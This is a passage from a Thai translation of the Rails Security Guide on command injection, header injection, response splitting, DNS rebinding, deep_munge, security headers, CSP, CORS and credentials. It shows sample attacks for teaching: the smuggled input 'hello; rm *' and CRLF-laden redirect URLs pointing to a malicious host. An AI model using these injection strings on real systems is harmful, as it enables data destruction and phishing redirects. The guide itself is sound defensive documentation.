คุณต้องระมัดระวังเป็นพิเศษกับฟังก์ชันเหล่านี้หากผู้ใช้สามารถป้อนคำสั่งทั้งหมดหรือส่วนหนึ่งของคำสั่งได้ เนื่องจากในเชลล์ส่วนใหญ่คุณสามารถดำเนินการคำสั่งอื่นได้ที่สิ้นสุดของคำสั่งแรก โดยรวมกันด้วยเครื่องหมายเซมิโคลอน (;
) หรือเครื่องหมายแท่งตั้ง (|
)
user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# พิมพ์ "hello" และลบไฟล์ในไดเรกทอรีปัจจุบัน
การป้องกันคือ ใช้วิธี system(command, parameters)
ที่ผ่านพารามิเตอร์คำสั่งอย่างปลอดภัย
system("/bin/echo", "hello; rm *")
# พิมพ์ "hello; rm *" และไม่ลบไฟล์
6.7.1 ความเสี่ยงของ Kernel#open
Kernel#open
ดำเนินการคำสั่ง OS หากอาร์กิวเมนต์ของมันเริ่มต้นด้วยเครื่องหมายแท่งตั้ง (|
)
```ruby
open('| ls') { |file| file.read }
คืนค่ารายการไฟล์เป็นสตริงผ่านคำสั่ง ls
การป้องกันคือการใช้ File.open
, IO.open
หรือ URI#open
แทน ซึ่งไม่ได้รันคำสั่งของระบบปฏิบัติการ
File.open('| ls') { |file| file.read }
# ไม่รันคำสั่ง `ls` เพียงแค่เปิดไฟล์ `| ls` หากมีอยู่
IO.open(0) { |file| file.read }
# เปิด stdin ไม่รับสตริงเป็นอาร์กิวเมนต์
require 'open-uri'
URI('https://example.com').open { |file| file.read }
# เปิด URI `URI()` ไม่รับ `| ls` เป็นอาร์กิวเมนต์
6.8 การฉีดข้อมูลเข้าส่วนหัว
คำเตือน: ส่วนหัวของ HTTP ถูกสร้างขึ้นแบบไดนามิกและภายใต้เงื่อนไขบางอย่าง ข้อมูลที่ผู้ใช้ป้อนอาจถูกฉีดเข้าไป สามารถทำให้เกิดการเปลี่ยนเส้นทางที่ไม่ถูกต้อง การโจมตีแบบ XSS หรือการแยกตัวของการตอบสนอง HTTP
ส่วนหัวของคำขอ HTTP ประกอบด้วย Referer, User-Agent (ซอฟต์แวร์ไคลเอ็นต์) และ Cookie รวมถึงอื่น ๆ ที่ผู้ใช้ส่งมา และอาจถูกแก้ไขได้โดยใช้ความพยายามมากหรือน้อยกว่านั้น จำไว้ว่าต้องหนีการตัดสินใจเกี่ยวกับการหนี้สินที่สร้างขึ้นจากข้อมูลที่ผู้ใช้ป้อนเข้า เช่นเมื่อคุณแสดงตัวแทนของผู้ใช้ในพื้นที่การดูแลระบบ
นอกจากนี้ สำคัญที่จะรู้ว่าคุณกำลังทำอะไรเมื่อสร้างส่วนหัวการตอบสนองบางส่วนขึ้นอยู่กับข้อมูลที่ผู้ใช้ป้อนเข้า เช่นคุณต้องการเปลี่ยนเส้นทางของผู้ใช้กลับไปยังหน้าที่เฉพาะเจาะจง ในการทำนั้นคุณได้เพิ่มฟิลด์ "referer" ในแบบฟอร์มเพื่อเปลี่ยนเส้นทางไปยังที่อยู่ที่กำหนด:
ruby
redirect_to params[:referer]
สิ่งที่เกิดขึ้นคือ Rails จะใส่สตริงลงในฟิลด์หัวข้อ Location
และส่งสถานะ 302 (เปลี่ยนเส้นทาง) ไปยังเบราว์เซอร์ สิ่งที่ผู้ใช้ที่มีเจตนาไม่ดีจะทำคือ:
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
และเนื่องจากข้อบกพร่องใน (Ruby และ) Rails จนถึงเวอร์ชัน 2.1.2 (ไม่รวมเวอร์ชันนี้) แฮกเกอร์อาจฉีดฟิลด์หัวข้ออะไรก็ได้; ตัวอย่างเช่น:
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
โปรดทราบว่า %0d%0a
ถูกเข้ารหัส URL สำหรับ \r\n
ซึ่งเป็นการเปลี่ยนบรรทัดและขึ้นบรรทัดใหม่ (CRLF) ใน Ruby ดังนั้นเฮดเดอร์ HTTP ที่ได้จากตัวอย่างที่สองจะเป็นดังนี้เนื่องจากฟิลด์หัวข้อ Location ที่สองจะเขียนทับฟิลด์หัวข้อแรก:
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
ดังนั้น เวกเตอร์การโจมตีสำหรับการฉีดฟิลด์หัวข้อเกี่ยวกับการฉีดอักขระ CRLF ในฟิลด์หัวข้อ และผู้โจมตีสามารถทำอะไรได้กับการเปลี่ยนเส้นทางเท็จ? พวกเขาสามารถเปลี่ยนเส้นทางไปยังเว็บไซต์ฟิชชิ่งที่ดูเหมือนกับของคุณ แต่ขอให้เข้าสู่ระบบอีกครั้ง (และส่งข้อมูลการเข้าสู่ระบบให้กับผู้โจมตี) หรือพวกเขาสามารถติดตั้งซอฟต์แวร์ที่เป็นอันตรายผ่านช่องโหว่ความปลอดภัยของเบราว์เซอร์บนเว็บไซต์นั้น Rails 2.1.2 จะหนีพิมพ์อักขระเหล่านี้สำหรับฟิลด์ Location ในเมธอด redirect_to
โปรดตรวจสอบให้แน่ใจว่าคุณทำเช่นนั้นด้วยตัวคุณเองเมื่อคุณสร้างฟิลด์หัวข้ออื่นๆด้วยข้อมูลจากผู้ใช้.
6.8.1 การโจมตี DNS Rebinding และ Host Header Attacks
DNS rebinding เป็นวิธีการแก้ไขการแปลงชื่อโดเมนที่ใช้เป็นวิธีการโจมตีคอมพิวเตอร์ที่พบอย่างแพร่หลาย การแก้ไขการแปลงชื่อโดเมนด้วย DNS rebinding ทำการหลีกเลี่ยงนโยบายเดียวกันโดยการใช้งานระบบชื่อโดเมน (DNS) แทน โดยการเชื่อมต่อโดเมนกับที่อยู่ IP ที่แตกต่างกันและทำให้ระบบถูกคุกคามโดยการดำเนินการรหัสสุ่มต่อ Rails app จากที่อยู่ IP ที่เปลี่ยนแปลง
แนะนำให้ใช้ middleware ActionDispatch::HostAuthorization
เพื่อป้องกันการโจมตี DNS rebinding และการโจมตี Host header อื่น ๆ โดยมีการเปิดใช้งานโดยค่าเริ่มต้นในสภาพแวดล้อมการพัฒนา คุณต้องเปิดใช้งานในสภาพแวดล้อมการผลิตและสภาพแวดล้อมอื่น ๆ โดยการตั้งค่ารายการโฮสต์ที่อนุญาต คุณยังสามารถกำหนดการยกเว้นและตั้งค่าแอปตอบสนองของคุณเองได้
Rails.application.config.hosts << "product.com"
Rails.application.config.host_authorization = {
# ยกเว้นคำขอสำหรับเส้นทาง /healthcheck/ จากการตรวจสอบโฮสต์
exclude: ->(request) { request.path =~ /healthcheck/ }
# เพิ่มแอปพลิเคชัน Rack ที่กำหนดเองสำหรับการตอบสนอง
response_app: -> env do
[400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
end
}
คุณสามารถอ่านเพิ่มเติมเกี่ยวกับมันได้ในเอกสาร middleware ActionDispatch::HostAuthorization
6.8.2 Response Splitting
หากการฉีด Header เป็นไปได้ การแยกตัวตอบกลับก็เป็นไปได้เช่นกัน ใน HTTP บล็อกของส่วนหัวจะตามด้วย CRLF สองตัวและข้อมูลจริง (โดยปกติเป็น HTML) ความคิดเห็นของการแยกตัวตอบกลับคือการฉีด CRLF สองตัวลงในฟิลด์ส่วนหัว ตามด้วยการตอบกลับอีกครั้งที่มี HTML ที่เป็นอันตราย การตอบกลับจะเป็นดังนี้: ```http HTTP/1.1 302 Found [การตอบกลับมาตามมาตรฐาน 302 ครั้งแรก] Date: Tue, 12 Apr 2005 22:09:07 GMT Location:Content-Type: text/html
HTTP/1.1 200 OK [การตอบกลับใหม่ครั้งที่สองที่ถูกสร้างขึ้นโดยผู้โจมตี] Content-Type: text/html
<html><font color=red>สวัสดี</font></html> [ข้อมูลที่ไม่เป็นทางการที่ไม่ปลอดภัยถูกแสดงเป็นหน้าเว็บที่เปลี่ยนเส้นทาง] Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html ```
ภายใต้สถานการณ์บางอย่างนี้จะทำให้ HTML ที่ไม่ปลอดภัยถูกแสดงให้ผู้เสียหายเห็น อย่างไรก็ตาม สิ่งนี้ดูเหมือนจะทำงานได้เฉพาะกับการเชื่อมต่อ Keep-Alive (และเบราว์เซอร์หลายรายการกำลังใช้การเชื่อมต่อครั้งเดียว) แต่คุณไม่สามารถพึ่งพาสิ่งนี้ได้ ในทุกกรณีนี้เป็นข้อบกพร่องที่ร้ายแรงและคุณควรอัปเดต Rails เป็นเวอร์ชัน 2.0.5 หรือ 2.1.2 เพื่อกำจัดความเสี่ยงในการฉีด Header (และการแยกตอบกลับ)
7 การสร้างคำสั่ง Query ที่ไม่ปลอดภัย
เนื่องจากวิธีการ Active Record แปลงค่าพารามิเตอร์ร่วมกับวิธีการ Rack ในการแยกวิเคราะห์พารามิเตอร์คิวรี มีความเป็นไปได้ที่จะส่งคำสั่ง Query ฐานข้อมูลที่ไม่คาดคิดด้วย IS NULL
ในส่วนของคำสั่ง WHERE ในการตอบสนองต่อปัญหาด้านความปลอดภัยนี้ (CVE-2012-2660, CVE-2012-2694 และ CVE-2013-0155) วิธีการ deep_munge
ถูกนำเสนอเพื่อใช้เป็นวิธีการแก้ปัญหาเพื่อให้ Rails ปลอดภัยตามค่าเริ่มต้น
ตัวอย่างของโค้ดที่มีช่องโหว่ที่อาจถูกใช้โดยผู้โจมตี หาก deep_munge
ไม่ถูกดำเนินการคือ:
unless params[:token].nil?
user = User.find_by_token(params[:token])
user.reset_password!
end
เมื่อ params[:token]
เป็นหนึ่งใน [nil]
, [nil, nil, ...]
หรือ ['foo', nil]
จะผ่านการทดสอบสำหรับ nil
แต่คำสั่ง WHERE ที่มี IS NULL
หรือ IN ('foo', NULL)
จะถูกเพิ่มในคำสั่ง SQL
เพื่อให้ Rails ปลอดภัยตามค่าเริ่มต้น deep_munge
จะแทนที่ค่าบางส่วนด้วย nil
ตารางด้านล่างแสดงตัวอย่างของพารามิเตอร์ที่ได้จาก JSON
ที่ส่งในคำขอ:
JSON | Parameters |
---|---|
{ "person": null } |
{ :person => nil } |
{ "person": [] } |
{ :person => [] } |
{ "person": [null] } |
{ :person => [] } |
{ "person": [null, null, ...] } |
{ :person => [] } |
{ "person": ["foo", null] } |
{ :person => ["foo"] } |
หากคุณตระหนักถึงความเสี่ยงและรู้วิธีการจัดการ คุณสามารถกลับไปใช้พฤติกรรมเดิมและปิดการใช้งาน deep_munge
ในการกำหนดค่าแอปพลิเคชันของคุณได้:
config.action_dispatch.perform_deep_munge = false
8 HTTP Security Headers
เพื่อเพิ่มความปลอดภัยให้แอปพลิเคชันของคุณ Rails สามารถกำหนดค่าให้ส่ง HTTP security headers ได้ บางส่วนของ headers ถูกกำหนดค่าไว้ตามค่าเริ่มต้น ส่วนอื่นต้องกำหนดค่าโดยชัดเจน
8.1 Default Security Headers
ตามค่าเริ่มต้น Rails ถูกกำหนดค่าให้ส่ง response headers ต่อไปนี้ แอปพลิเคชันของคุณจะส่ง headers เหล่านี้สำหรับทุก HTTP response
8.1.1 X-Frame-Options
header X-Frame-Options
ระบุว่าเบราว์เซอร์สามารถแสดงหน้าเว็บใน <frame>
<iframe>
<embed>
หรือ <object>
tag ได้หรือไม่ Header นี้ถูกตั้งค่าเป็น SAMEORIGIN
ตามค่าเริ่มต้นเพื่ออนุญาตให้แสดงหน้าเว็บในโดเมนเดียวกันเท่านั้น ตั้งค่าเป็น DENY
เพื่อปฏิเสธการแสดงหน้าเว็บในทุกโดเมน หรือลบ header นี้ออกเพื่ออนุญาตให้แสดงหน้าเว็บในทุกโดเมน
8.1.2 X-XSS-Protection
เป็นเฮดเดอร์ที่ถูกยกเลิกแล้ว ตั้งค่าเป็น 0
ใน Rails เพื่อปิดใช้งานตัวตรวจสอบ XSS ที่เป็นปัญหาในอดีต
8.1.3 X-Content-Type-Options
เฮดเดอร์ X-Content-Type-Options
ถูกตั้งค่าเป็น nosniff
ใน Rails เพื่อหยุดการคาดเดา MIME type ของไฟล์ที่เป็นไปได้
8.1.4 X-Permitted-Cross-Domain-Policies
เฮดเดอร์นี้ถูกตั้งค่าเป็น none
ใน Rails เพื่อป้องกัน Adobe Flash และ PDF clients จากการฝังหน้าเว็บของคุณในโดเมนอื่น
8.1.5 Referrer-Policy
เฮดเดอร์ Referrer-Policy
ถูกตั้งค่าเป็น strict-origin-when-cross-origin
ใน Rails เพื่อส่งเฉพาะต้นกำเนิดในส่วนของ Referer header สำหรับคำขอที่มาจากโดเมนต่างกัน นี้ช่วยป้องกันการรั่วไหลของข้อมูลส่วนตัวที่อาจเข้าถึงได้จากส่วนอื่นของ URL เต็ม เช่น path และ query string
8.1.6 การกำหนดค่าเฮดเดอร์เริ่มต้น
เฮดเดอร์เหล่านี้ถูกกำหนดค่าเริ่มต้นดังนี้:
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '0',
'X-Content-Type-Options' => 'nosniff',
'X-Permitted-Cross-Domain-Policies' => 'none',
'Referrer-Policy' => 'strict-origin-when-cross-origin'
}
คุณสามารถแทนที่หรือเพิ่มเฮดเดอร์เพิ่มเติมได้ใน config/application.rb
:
config.action_dispatch.default_headers['X-Frame-Options'] = 'DENY'
config.action_dispatch.default_headers['Header-Name'] = 'Value'
หรือคุณสามารถลบเฮดเดอร์เหล่านี้ได้:
config.action_dispatch.default_headers.clear
8.2 เฮดเดอร์ Strict-Transport-Security
เฮดเดอร์ตอบสนอง HTTP Strict-Transport-Security
(HTST) ทำให้เบราว์เซอร์อัปเกรดโดยอัตโนมัติเป็น HTTPS สำหรับการเชื่อมต่อปัจจุบันและในอนาคต
ส่วนหัวของการตอบสนองถูกเพิ่มเข้าไปเมื่อเปิดใช้งานตัวเลือก force_ssl
:
config.force_ssl = true
8.3 ส่วนหัว Content-Security-Policy
เพื่อช่วยป้องกันการโจมตี XSS และการฉีดสารเข้ารหัส แนะนำให้กำหนดส่วนหัวการตอบสนอง Content-Security-Policy
สำหรับแอปพลิเคชันของคุณ Rails มี DSL ที่ช่วยให้คุณกำหนดค่าส่วนหัวได้
กำหนดนโยบายความปลอดภัยในไฟล์เริ่มต้นที่เหมาะสม:
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.default_src :self, :https
policy.font_src :self, :https, :data
policy.img_src :self, :https, :data
policy.object_src :none
policy.script_src :self, :https
policy.style_src :self, :https
# ระบุ URI สำหรับรายงานการละเมิด
policy.report_uri "/csp-violation-report-endpoint"
end
นโยบายความปลอดภัยที่กำหนดไว้ในระดับโลกสามารถถูกแทนที่ในแต่ละทรัพยากร:
class PostsController < ApplicationController
content_security_policy do |policy|
policy.upgrade_insecure_requests true
policy.base_uri "https://www.example.com"
end
end
หรือสามารถปิดใช้งานได้:
class LegacyPagesController < ApplicationController
content_security_policy false, only: :index
end
ใช้ lambda เพื่อฉีดค่าตามคำขอ เช่น โดเมนบัญชีในแอปพลิเคชันหลายๆ โดเมน:
class PostsController < ApplicationController
content_security_policy do |policy|
policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
end
end
8.3.1 รายงานการละเมิด
เปิดใช้งานคำสั่ง report-uri
เพื่อรายงานการละเมิดไปยัง URI ที่ระบุ:
Rails.application.config.content_security_policy do |policy|
policy.report_uri "/csp-violation-report-endpoint"
end
เมื่อย้ายเนื้อหาเก่า คุณอาจต้องการรายงานการละเมิดโดยไม่บังคับใช้นโยบาย กำหนดส่วนหัวการตอบสนอง Content-Security-Policy-Report-Only
เพื่อรายงานการละเมิดเท่านั้น:
ruby
Rails.application.config.content_security_policy_report_only = true
หรือการแทนที่ในคอนโทรลเลอร์:
class PostsController < ApplicationController
content_security_policy_report_only only: :index
end
8.3.2 เพิ่ม Nonce
หากคุณกำลังพิจารณาใช้ 'unsafe-inline'
โปรดพิจารณาใช้ nonces แทน Nonces
ให้การปรับปรุงที่สำคัญ
เมื่อนำ Content Security Policy มาใช้บนโค้ดที่มีอยู่แล้ว
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.script_src :self, :https
end
Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }
มีข้อดีและข้อเสียบางอย่างที่ควรพิจารณาเมื่อกำหนดค่าตัวสร้าง nonce
การใช้ SecureRandom.base64(16)
เป็นค่าเริ่มต้นที่ดีเพราะจะสร้าง nonce สุ่มใหม่สำหรับแต่ละคำขอ อย่างไรก็ตาม วิธีนี้ไม่สามารถใช้งานร่วมกับการแคชด้วย conditional GET caching
เนื่องจาก nonces ใหม่จะทำให้ค่า ETag ใหม่สำหรับแต่ละคำขอ วิธีทางเลือกหนึ่งสำหรับ nonces สุ่มต่อคำขอคือการใช้ session id:
Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }
วิธีการสร้างนี้เข้ากันได้กับ ETags อย่างไรก็ตามความปลอดภัยขึ้นอยู่กับ session id ที่เพียงพอที่จะสุ่มและไม่เปิดเผยในคุกกี้ที่ไม่ปลอดภัย
โดยค่าเริ่มต้น nonces จะถูกใช้กับ script-src
และ style-src
หากมีตัวสร้าง nonce ถูกกำหนดไว้ config.content_security_policy_nonce_directives
สามารถใช้เปลี่ยนแปลงได้ว่า directives ใดจะใช้ nonces:
Rails.application.config.content_security_policy_nonce_directives = %w(script-src)
เมื่อการสร้าง nonce ถูกกำหนดค่าในไฟล์เริ่มต้น ค่า nonce จะถูกเพิ่มในแท็ก script โดยการส่ง nonce: true
เป็นส่วนหนึ่งของ html_options
:
html+erb
<%= javascript_tag nonce: true do -%>
alert('สวัสดีชาวโลก!');
<% end -%>
การใช้งานเช่นเดียวกันกับ javascript_include_tag
:
<%= javascript_include_tag "script", nonce: true %>
ใช้ csp_meta_tag
helper เพื่อสร้างแท็ก meta "csp-nonce" พร้อมค่า nonce ตามเซสชัน
เพื่ออนุญาตให้ใช้งานแท็ก <script>
แบบ inline
<head>
<%= csp_meta_tag %>
</head>
ใช้โดย Rails UJS helper เพื่อสร้างแท็ก <script>
แบบ inline
ที่โหลดไดนามิก
8.4 ส่วนหัว Feature-Policy
หมายเหตุ: ส่วนหัว Feature-Policy
ถูกเปลี่ยนชื่อเป็น Permissions-Policy
แล้ว
Permissions-Policy
ต้องการการปรับปรุงที่แตกต่างและยังไม่ได้รับการสนับสนุน
จากเบราว์เซอร์ทั้งหมด ในการหลีกเลี่ยงการต้องเปลี่ยนชื่อ middleware
ในอนาคต เราใช้ชื่อใหม่สำหรับ middleware แต่ยังคงใช้ชื่อและการปรับปรุงเดิม
เพื่ออนุญาตหรือบล็อกการใช้งานฟีเจอร์ของเบราว์เซอร์ คุณสามารถกำหนด Feature-Policy
สำหรับส่วนตอบสนองของแอปพลิเคชันของคุณ Rails มี DSL ที่ช่วยให้คุณสามารถ
กำหนดค่าส่วนหัวได้
กำหนดนโยบายในไฟล์ initializer ที่เหมาะสม:
# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
policy.camera :none
policy.gyroscope :none
policy.microphone :none
policy.usb :none
policy.fullscreen :self
policy.payment :self, "https://secure.example.com"
end
นโยบายที่กำหนดค่าแบบ global สามารถถูกแทนที่ในแต่ละทรัพยากรได้:
class PagesController < ApplicationController
permissions_policy do |policy|
policy.geolocation "https://example.com"
end
end
8.5 การแบ่งปันทรัพยากรระหว่างโดเมนที่แตกต่างกัน
เบราว์เซอร์จำกัดการส่งคำขอ HTTP ระหว่างโดเมนที่แตกต่างกันที่เริ่มต้นจากสคริปต์ หากคุณต้องการเรียกใช้ Rails เป็น API และเรียกใช้แอปฟร้อนท์บนโดเมนที่แยกต่างหาก คุณต้องเปิดใช้งาน การแบ่งปันทรัพยากรระหว่างโดเมนที่แตกต่างกัน (CORS)
คุณสามารถใช้ middleware Rack CORS ในการจัดการ CORS หากคุณสร้างแอปพลิเคชันของคุณด้วยตัวเลือก --api
อาจจะมีการกำหนดค่า Rack CORS ไว้แล้วและคุณสามารถข้ามขั้นตอนต่อไปได้
เพื่อเริ่มต้น ให้เพิ่ม gem rack-cors เข้าไปในไฟล์ Gemfile ของคุณ:
gem 'rack-cors'
ต่อมา เพิ่ม initializer เพื่อกำหนดค่า middleware:
# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, "Rack::Cors" do
allow do
origins 'example.com'
resource '*',
headers: :any,
methods: [:get, :post, :put, :patch, :delete, :options, :head]
end
end
9 ความปลอดภัยของอินทราเน็ตและแอดมิน
อินทราเน็ตและอินเตอร์เฟซการดูแลระบบเป็นเป้าหมายที่น่าสนใจสำหรับการโจมตี เนื่องจากมันช่วยให้มีการเข้าถึงที่มีสิทธิพิเศษ แม้ว่านั่นจะต้องใช้มาตรการความปลอดภัยเพิ่มเติมหลายอย่าง แต่ในโลกจริงนั้นกลับไม่ใช่เช่นนั้น
ในปี 2007 มีโทรจันที่ถูกสร้างเพื่อขโมยข้อมูลจากอินทราเน็ตครั้งแรก นั่นคือเว็บไซต์ "Monster for employers" ของ Monster.com ซึ่งเป็นแอปพลิเคชันเว็บการจ้างงานออนไลน์ โทรจันที่ถูกสร้างเอาเป็นพิเศษนั้นน้อยมาก และความเสี่ยงก็น้อยมาก แต่นี่เป็นตัวอย่างของว่าความปลอดภัยของโฮสต์ไคลเอ็นต์ก็สำคัญเช่นกัน อย่างไรก็ตาม อันตรายที่สูงที่สุดสำหรับอินทราเน็ตและแอปพลิเคชันการดูแลระบบคือ XSS และ CSRF
9.1 การแทรกสคริปต์ข้ามเว็บไซต์
หากแอปพลิเคชันของคุณแสดงข้อมูลที่ผู้ใช้ป้อนเข้ามาจากเครือข่ายภายนอกที่เป็นอันตรายอีกครั้ง แอปพลิเคชันจะมีช่องโหว่ต่อการโจมตีแบบ XSS ตัวอย่างที่ไม่ธรรมดาได้แก่ชื่อผู้ใช้งาน ความคิดเห็น รายงานสแปม ที่อยู่ในการสั่งซื้อ ฯลฯ
การมีสถานที่เดียวในอินเทอร์เฟซของผู้ดูแลระบบหรืออินเทอร์เน็ตภายในที่ไม่ได้ทำการทำความสะอาดข้อมูลที่ป้อนเข้ามา จะทำให้แอปพลิเคชันทั้งหมดเป็นอันตราย การโจมตีที่เป็นไปได้รวมถึงการขโมยคุกกี้ของผู้ดูแลระบบที่มีสิทธิพิเศษ การฝังตัว iframe เพื่อขโมยรหัสผ่านของผู้ดูแลระบบ หรือการติดตั้งซอฟต์แวร์ที่เป็นอันตรายผ่านช่องโหว่ในความปลอดภัยของเบราว์เซอร์เพื่อเอาชนะคอมพิวเตอร์ของผู้ดูแลระบบ
อ่านส่วนการฉีดข้อมูลเพื่อป้องกัน XSS
9.2 การปลอมแปลงคำขอข้ามเว็บไซต์
การปลอมแปลงคำขอข้ามเว็บไซต์ (CSRF) หรือที่เรียกว่าการปลอมแปลงการอ้างอิงข้ามเว็บไซต์ (XSRF) เป็นวิธีการโจมตีที่ใหญ่โต มันช่วยให้ผู้โจมตีสามารถทำทุกอย่างที่ผู้ดูแลระบบหรือผู้ใช้ภายในอินเทอร์เน็ตสามารถทำได้ ตามที่คุณเห็นได้ข้างต้นว่า CSRF ทำงานอย่างไร นี่คือตัวอย่างของสิ่งที่ผู้โจมตีสามารถทำได้ในอินเทอร์เน็ตหรืออินเทอร์เฟซของผู้ดูแลระบบ
ตัวอย่างจริงในโลกคือการ ปรับการกำหนดค่าเราเตอร์ด้วย CSRF ผู้โจมตีส่งอีเมลล์ที่เป็นอันตรายพร้อม CSRF ไปยังผู้ใช้ในเม็กซิโก อีเมลล์อ้างว่ามีการ์ดรออยู่สำหรับผู้ใช้ แต่มันยังมีแท็กภาพที่เกี่ยวข้องที่ส่งคำขอ HTTP-GET เพื่อปรับการกำหนดค่าเราเตอร์ของผู้ใช้ (ซึ่งเป็นรุ่นยอดนิยมในเม็กซิโก) คำขอเปลี่ยนการตั้งค่า DNS เพื่อให้คำขอไปยังเว็บไซต์ธนาคารในเม็กซิโกถูกแมปไปยังเว็บไซต์ของผู้โจมตี ผู้ที่เข้าถึงเว็บไซต์ธนาคารผ่านเราเตอร์นั้น จะเห็นเว็บไซต์ปลอมของผู้โจมตีและถูกขโมยข้อมูลประจำตัว ตัวอย่างอีกอย่างที่เปลี่ยนที่อยู่อีเมลและรหัสผ่านของ Google Adsense ถ้าเหยื่อเข้าสู่ระบบ Google Adsense หน้าจอสำหรับการจัดการแคมเปญโฆษณาของ Google ผู้โจมตีสามารถเปลี่ยนข้อมูลประจำตัวของเหยื่อได้
วิธีการโจมตีที่นิยมอีกแบบคือการส่งสแปมเข้าสู่แอปพลิเคชันเว็บของคุณ บล็อกของคุณ หรือฟอรัมเพื่อแพร่กระจาย XSS ที่เป็นอันตราย แน่นอนว่าผู้โจมตีต้องรู้โครงสร้าง URL แต่ส่วนใหญ่ URL ของ Rails จะเป็นเรื่องง่ายหรือจะสามารถค้นหาได้ง่ายถ้าเป็นส่วนของอินเตอร์เฟซของแอปพลิเคชันโอเพนซอร์ส ผู้โจมตีอาจทำการทายดี 1,000 ครั้งโดยการรวมแท็ก IMG ที่เป็นอันตรายที่พยายามทุกความเป็นไปได้
สำหรับการป้องกัน CSRF ในอินเตอร์เฟซการจัดการและแอปพลิเคชันอินเทอร์เน็ตภายใน ให้ดูที่การป้องกันในส่วน CSRF
9.3 การป้องกันเพิ่มเติม
อินเตอร์เฟซการจัดการทั่วไปทำงานอย่างนี้: อยู่ที่ www.example.com/admin สามารถเข้าถึงได้เฉพาะเมื่อตั้งค่าแอดมินถูกตั้งค่าในโมเดลผู้ใช้ แสดงผลข้อมูลที่ผู้ใช้ป้อนและอนุญาตให้แอดมินลบ/เพิ่ม/แก้ไขข้อมูลต่าง ๆ ตามที่ต้องการ นี่คือความคิดเกี่ยวกับเรื่องนี้:
- สิ่งสำคัญมากคือการ คิดถึงกรณีที่แย่ที่สุด: ถ้ามีคนจริงๆ ได้รับความควบคุมของคุกกี้หรือข้อมูลประจำตัวของผู้ใช้ของคุณ คุณสามารถ เพิ่มบทบาท สำหรับอินเตอร์เฟซการจัดการเพื่อจำกัดความเป็นไปได้ของผู้โจมตี หรือลอง ข้อมูลประจำตัวสำหรับเข้าสู่ระบบอินเตอร์เฟซการจัดการที่แตกต่าง จากที่ใช้สำหรับส่วนสาธารณะของแอปพลิเคชัน หรือ รหัสผ่านพิเศษสำหรับการดำเนินการที่สำคัญมาก?
ผู้ดูแลระบบจริงๆ ต้องเข้าถึงอินเตอร์เฟซจากทุกที่ในโลกหรือไม่? คิดดูว่า จำกัดการเข้าสู่ระบบเฉพาะที่อยู่ในช่วงของที่อยู่ IP แห่งต้นทาง ตรวจสอบ request.remote_ip เพื่อหาที่อยู่ IP ของผู้ใช้ ซึ่งไม่ได้เป็นวิธีที่เสถียร แต่เป็นการสร้างอุปสรรคที่ดี โดยจำไว้ว่าอาจมีการใช้พร็อกซีอยู่
ให้ตั้งชื่อโดเมนย่อยสำหรับอินเตอร์เฟซของผู้ดูแลระบบ เช่น admin.application.com และทำให้เป็นแอปพลิเคชันที่แยกออกมาเองพร้อมการจัดการผู้ใช้ของตัวเอง นี้จะทำให้การขโมยคุกกี้ของผู้ดูแลระบบจากโดเมนปกติ www.application.com เป็นไปไม่ได้ เนื่องจากนโยบายเดียวกันในการเรียกใช้ในเบราว์เซอร์ของคุณ: สคริปต์ที่ถูกฝัง (XSS) บน www.application.com อาจไม่สามารถอ่านคุกกี้สำหรับ admin.application.com และกลับกัน
10 ความปลอดภัยในสภาพแวดล้อม
เกี่ยวกับการรักษาความปลอดภัยของรหัสแอปพลิเคชันและสภาพแวดล้อมนั้นอยู่นอกขอบเขตของคู่มือนี้ อย่างไรก็ตาม โปรดรักษาการกำหนดค่าฐานข้อมูลของคุณให้ปลอดภัย เช่น config/database.yml
, คีย์หลักสำหรับ credentials.yml
, และความลับที่ไม่ได้เข้ารหัสอื่น ๆ คุณอาจต้องการจำกัดการเข้าถึงเพิ่มเติมโดยใช้เวอร์ชันของไฟล์เหล่านี้ที่เฉพาะกับสภาพแวดล้อมและไฟล์อื่น ๆ ที่อาจมีข้อมูลที่ละเอียดอ่อน
10.1 ข้อมูลประจำตัวที่กำหนดเอง
Rails เก็บความลับใน config/credentials.yml.enc
ซึ่งถูกเข้ารหัสและไม่สามารถแก้ไขโดยตรงได้ Rails ใช้ config/master.key
หรือหากไม่พบจะค้นหาตัวแปรสภาพแวดล้อม ENV["RAILS_MASTER_KEY"]
เพื่อเข้ารหัสไฟล์ข้อมูลประจำตัว เนื่องจากไฟล์ข้อมูลประจำตัวถูกเข้ารหัส จึงสามารถเก็บไว้ในระบบควบคุมเวอร์ชันได้ ตราบเท่าที่คีย์หลักถูกเก็บไว้ให้ปลอดภัย
โดยค่าเริ่มต้นไฟล์ข้อมูลรับรองมี secret_key_base
ของแอปพลิเคชัน สามารถใช้เก็บความลับอื่น ๆ เช่น คีย์การเข้าถึงสำหรับ API ภายนอกได้ด้วย
ในการแก้ไขไฟล์ข้อมูลรับรอง ให้รัน bin/rails credentials:edit
คำสั่งนี้จะสร้างไฟล์ข้อมูลรับรองหากไม่มีอยู่ นอกจากนี้คำสั่งนี้จะสร้าง config/master.key
หากไม่มี master key ที่กำหนด
ความลับที่เก็บในไฟล์ข้อมูลรับรองสามารถเข้าถึงได้ผ่าน Rails.application.credentials
เช่น ด้วย config/credentials.yml.enc
ที่ถูกถอดรหัสดังต่อไปนี้:
secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
access_key_id: 1234AB
Rails.application.credentials.some_api_key
จะคืนค่า "SOMEKEY"
และ Rails.application.credentials.system.access_key_id
จะคืนค่า "1234AB"
